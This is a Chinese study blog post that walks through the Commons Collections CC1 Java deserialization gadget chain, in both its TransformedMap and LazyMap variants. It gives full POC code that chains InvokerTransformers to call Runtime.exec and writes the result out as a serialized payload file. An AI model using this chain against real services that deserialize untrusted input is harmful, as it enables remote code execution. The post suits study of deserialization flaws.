Back

Java反序列化-CC1利用链

拖了一个月,还是决定把Common-Collections利用链学了,毕竟是Java反序列化学习中逃不掉的一关
跟着p神的Java安全漫谈打了一段时间后也算是搞明白了,这里就来记录一下

CC1根据触发方式的不同,分为了两条链,分别是TransformedMapLazyMap
环境配置如下

1
2
3
4
5
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

TransformedMap链

要构建一个最简单的demo,需要用到的类与接口如下

TransformedMap类

用于修饰Map,当修饰后的Map在添加新元素时(也就是执行put时),会执行一个回调
使用静态方法decorate进行修饰,如下:

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

其中keyTransformervalueTransformer分别对应处理添加的新元素的键、值的回调

Transfromer接口

一个接口,只有一个待实现方法

1
2
3
public interface Transformer {
    public Object transform(Object input);
}

当被TransformedMap修饰后的Map在添加新元素时,就会调用实现实现Transformer接口的类的transform函数,也就是上面说的回调,参数是原始对象

举个例子:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
//TestTransformer类
public class TestTransformer implements Transformer {
    @Override
    public Object transform(Object input) {
        System.out.println("test");
        return "wuhu";
    }
}

//Main
public class BaseTest {
    public static void main(String[] args) throws Exception {
        Map innerMap = new HashMap();
        innerMap.put("1", 1);
        System.out.println(innerMap);

        TestTransformer testTransformer = new TestTransformer();
        Map outerMap = TransformedMap.decorate(innerMap, null, testTransformer);
        outerMap.put("2", 2);
        System.out.println(outerMap);
    }
}

以上的输出结果为

1
2
3
{1=1}
test
{1=1, 2=wuhu}

ConstantTransformer类

一个实现了Transformer接口的类,实例化时传入一个对象,并在回调transform时返回这个对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;
    ...
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    ...
    public Object transform(Object input) {
        return iConstant;
    }
}

简单来说,它的作用就是包装任意一个对象,在执行回调时返回这个对象,方便后续操作

InvokerTransformer类

一个实现了Transformer接口的类,从命名上就能看出点名堂,实际上它也正是反序列化能够执行恶意代码的关键

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class InvokerTransformer implements Transformer, Serializable {
    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;
    ...
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch ...
    }

从源码中可看出,实例化时传入三个参数,分别是要调用的方法名、反射参数类型的数组、反射参数的数组
transform回调时用反射去执行传入对象的方法

ChainedTransformer类

一个实现了Transformer接口的类,用于将内部的多个Transformer串联在一起,前一个Transformer的回调的返回结果,作为后一个Transformer的回调的参数传入,这里用引用p神的示意图便于理解:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public class ChainedTransformer implements Transformer, Serializable {
    /** The transformers to call in turn */
    private final Transformer[] iTransformers;
    ...
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
}

构造demo

现在可以来构造一个简单的demo用于做一个小总结

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public class VulnTest {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outputMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
        outputMap.put("a","b");
    }
}

当我们向修饰后的Map中加入一个新元素后,便会通过反射调用Runtime类的exec执行calc命令,弹出计算器,这里是用了put函数

AnnotationInvocationHandler类

上面这个demo虽然已经实现了代码执行,但是离一个真正可用的POC还有很大的距离。在demo中,可以手动往修饰后的Map中put元素来触发漏洞,但在实际反序列化时,需要找到一个在readObject中有类似写入操作的类
这个类便是sun.reflect.annotation.AnnotationInvocationHandler

它的readObject方法如下(jdk-8u71之前的代码)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    Object var2 = null;

    try {
        var10 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var10.memberTypes();

    for(Map.Entry var5 : this.memberValues.entrySet()) {
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var10.members().get(var6)));
            }
        }
    }
}

触发加入元素的操作的是最后一层判断中的var5.setValue()函数,其中var5即是反序列化后得到的之前经过TransformMap修饰过的Map,在遍历其中的所有元素后依次设置值,因此会触发漏洞

以下是AnnotationInvocationHandler的构造方法

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

我们需要在POC中将其实例化,并把之前经过修饰的Map传入,但从构造方法上可以看出这是个jdk内部类,无法通过new来实例化,因此需要用反射获取它的构造方法,将其设置为外部可见,再调用即可实例化

1
2
3
4
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);

问题来了,这里实例化传入的第一个参数为什么是Retention.class
这里涉及到了注解的知识,还未补过这块的基础知识,在此先跳过,直接看p神给出的两个条件:

所以传入Retention.class的原因是它有一个方法名为value,因此为了满足第二个条件,在修饰Map之前,也需要放入一个key为value的的元素

POC构造

综上,可以构造出完整的POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class VulnTest {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);

        FileOutputStream fos = new FileOutputStream("vulnTest.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        oos.close();
    }
}

LazyMap链

ysoserial中使用的是LazyMap而非TransformedMap来触发这条链子

LazyMap类

和TransformedMap类一样都来自CC库,但与前者在写入元素时执行transform回调不同,LazyMap是在自己的get方法中执行transform回调,从注释中可看出,作用是在get找不到值时,会触发回调

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

但是问题在于,AnnotationInvocationHandlerreadObject方法中没有直接调用到Map的get方法
而是在invoke方法中调用到了get

至于要如何触发这个invoke方法,就需要使用到Java中的jdk动态代理机制
参考这篇文章:JAVA安全基础(三)– java动态代理机制,这里就简单讲讲

jdk动态代理

代理对象的生成由Proxy类的newProxyInstance()方法来完成

1
2
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)  
throws IllegalArgumentException  {...}

可以看到需要传入三个参数,第一个是类加载器,使用默认的即可;第二个是需要代理的对象的集合;第三个是实现了InvocationHandler接口的对象,它覆写的invoke方法中包含了具体的代理逻辑

这里用下p神的例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//TestInvocationHandler:实现了InvocationHandler接口的类
public class TestInvocationHandler implements InvocationHandler {
    protected Map map;

    public TestInvocationHandler(Map map) {
        this.map = map;
    }

    //覆写了invoke方法,当监控到调用的方法名为get时,返回字符串"Hacked Object"
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if (method.getName().compareTo("get") == 0) {
            System.out.println("Hook method: " + method.getName());
            return "Hacked Object";
        } else {
            return method.invoke(map, args);
        }
    }
}


//Main
public class Main {
    public static void main(String[] args) throws Exception {
        //创建代理对象
        InvocationHandler handler = new TestInvocationHandler(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

        proxyMap.put("hello", "world");
        String result = (String) proxyMap.get("hello");
        System.out.println(result);
    }
}

调用了被代理的Map的get方法后,发现输出的是字符串"Hacked Object"

回看之前使用的AnnotationInvocationHandler类,可以发现它就是一个实现了InvocationHandler接口的类,如果将其注入Proxy进行代理,那么在反序列化时,只需要调用任意方法,就会进入到invoke中,进而触发LazyMap#get,实现漏洞的利用

POC构造

在之前的POC基础之上进行修改,改用LazyMap进行修饰,再通过反射实例化AnnotationInvocationHandler类并传入修饰后的map,再用实例化的handler创建代理类,但不能直接对其执行序列化,这是因为反序列化入口也是在AnnotationInvocationHandler类中,因此需要重新实例化一次并传入代理类

最终构造POC如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class VulnTest {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("test", "xxxx");
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

        handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

        FileOutputStream fos = new FileOutputStream("C:\\Users\\Yulock\\Desktop\\1.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(handler);
        oos.close();
    }
}

对其进行反序列化,即可成功触发漏洞

版本问题

CC1只适用于jdk8u71以下的版本,原因是官方直接修改了AnnotationInvocationHandlerreadObject方法,改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象代为操作,因此无法再触发漏洞了

至此,除了TransformMap链的注解部分没太理解,CC1的链子大部分都理顺了